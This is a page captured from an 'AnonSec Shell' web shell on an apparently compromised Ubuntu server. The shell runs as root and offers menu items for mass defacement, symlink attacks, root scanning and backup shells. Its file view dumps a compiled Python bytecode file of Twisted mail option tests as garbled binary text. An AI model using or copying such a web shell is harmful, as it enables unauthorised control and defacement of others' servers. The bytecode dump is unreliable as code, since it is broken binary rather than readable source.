AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/mail/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/mail/test/__pycache__/test_options.cpython-310.pyc
o

�b�@szdZddlmZmZddlmZddlmZmZddl	m
Z
ddlmZGdd�de�Z
Gd	d
�d
�ZGdd�de�Zd
S)z 
Tests for L{twisted.mail.tap}.
�)�defer�	endpoints)�	protocols)�Options�makeService)�
UsageError)�TestCasec@sheZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�ZdS)�OptionsTestszK
    Tests for the command line option parser used for I{twistd mail}.
    cCsF|��|_t|jd��}|�d�Wd�dS1swYdS)N�wzsomeuser:	differentuser
)�mktemp�
aliasFilename�open�write)�self�	aliasFile�r�@/usr/lib/python3/dist-packages/twisted/mail/test/test_options.py�setUps
"�zOptionsTests.setUpcCs|�tt�jd|jg�dS)zi
        Test that adding an aliases(5) file before adding a domain raises a
        UsageError.
        �	--aliasesN)�assertRaisesrr�parseOptionsr�rrrr�testAliasesWithoutDomains�z%OptionsTests.testAliasesWithoutDomaincCst��ddd|jg�dS)z�
        Test that adding an aliases(5) file to an IAliasableDomain at least
        doesn't raise an unhandled exception.
        z--maildirdbmdomainzexample.com=example.comrN)rrrrrrr�testAliases"s��zOptionsTests.testAliasescCsFt�}|�d|dg�|�t||�d�|�||dtj�dS)z�
        Use L{Options} to parse a single service configuration parameter and
        verify that an endpoint of the correct type is added to the list for
        that service.
        z--ztcp:1234�rN�rr�assertEqual�len�assertIsInstancer�TCP4ServerEndpoint)r�service�optionsrrr�
_endpointTest0szOptionsTests._endpointTestcC�|�d�dS)z�
        When I{--smtp} is given a TCP endpoint description as an argument, a
        TCPServerEndpoint is added to the list of SMTP endpoints.
        �smtpN�r"rrrr�test_endpointSMTP;�zOptionsTests.test_endpointSMTPcCr#)z�
        When I{--pop3} is given a TCP endpoint description as an argument, a
        TCPServerEndpoint is added to the list of POP3 endpoints.
        �pop3Nr%rrrr�test_endpointPOP3Br'zOptionsTests.test_endpointPOP3cCsht�}|�g�|�t|d�d�|�|ddtj�|�t|d�d�|�|ddtj�dS)zO
        POP3 and SMTP each listen on a TCP4ServerEndpoint by default.
        r(rrr$Nr�rr!rrr�test_protoDefaultsIs
zOptionsTests.test_protoDefaultscCsxt�}|�dg�|�|�dd�g�|�|�dd�g�t�}|�dg�|�|�dd�g�|�|�dd�g�dS)zg
        The I{--no-pop3} and I{--no-smtp} options disable POP3 and SMTP
        respectively.
        �	--no-pop3Nr(r$�	--no-smtp)rrr�
_getEndpoints�assertNotEqualr*rrr�test_protoDisableVszOptionsTests.test_protoDisablecCst�}|�t|jddg�dS)zI
        If all protocols are disabled, L{UsageError} is raised.
        r,r-N)rrrrr*rrr�test_allProtosDisabledErrores�z(OptionsTests.test_allProtosDisabledErrorcCs,t�}|�t|jdg�}|�dt|��dS)zu
        If I{--esmtp} is given without I{--hostname}, L{Options.parseOptions}
        raises L{UsageError}.
        z--esmtpz--esmtp requires --hostnameN)rrrrr�str)rr!�excrrr�test_esmtpWithoutHostnamensz&OptionsTests.test_esmtpWithoutHostnamecCsbt�}|�ddg�|�t|d�d�|dd}|j}|jjj}|D]
}|�|||�q$dS)zC
        Tests that the --auth option registers a checker.
        z--authzmemory:admin:admin:bob:password�credCheckersrrN)rrrr�credentialInterfacesr �
smtpPortal�checkers)rr!�checker�
interfaces�registered_checkers�ifacerrr�	test_authws
�zOptionsTests.test_authN)�__name__�
__module__�__qualname__�__doc__rrrr"r&r)r+r0r1r4r=rrrrr	s	
		r	c@seZdZdZdZdd�ZdS)�SpyEndpointzG
    SpyEndpoint remembers what factory it is told to listen with.
    NcCs||_t�d�S)N)�
listeningWithr�succeed)r�factoryrrr�listen�s
zSpyEndpoint.listen)r>r?r@rArCrFrrrrrB�srBc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�MakeServiceTestsz3
    Tests for L{twisted.mail.tap.makeService}
    cCsbt�}t�}t�}||g||<t|�}|��|��|�|j�|�|j|�|�|j|�dS)z�
        Configure a service with two endpoints for the protocol associated with
        C{key} and verify that when the service is started a factory of type
        C{factoryClass} is used to listen on each of them.
        N)	rBrr�privilegedStartService�startService�
addCleanup�stopServicerrC)r�key�factoryClass�	cleartext�secure�configr rrr�_endpointServerTest�sz$MakeServiceTests._endpointServerTestcC�|�dtj�dS)z�
        If one or more endpoints is included in the configuration passed to
        L{makeService} for the C{"pop3"} key, a service for starting a POP3
        server is constructed for each of them and attached to the returned
        service.
        r(N)rQr�POP3Factoryrrrr�	test_pop3��zMakeServiceTests.test_pop3cCrR)z�
        If one or more endpoints is included in the configuration passed to
        L{makeService} for the C{"smtp"} key, a service for starting an SMTP
        server is constructed for each of them and attached to the returned
        service.
        r$N)rQr�SMTPFactoryrrrr�	test_smtp�rUzMakeServiceTests.test_smtpN)r>r?r@rArQrTrWrrrrrG�s
	rGN)rA�twisted.internetrr�twisted.mailr�twisted.mail.taprr�twisted.python.usager�twisted.trial.unittestrr	rBrGrrrr�<module>sv

Anon7 - 2022
AnonSec Team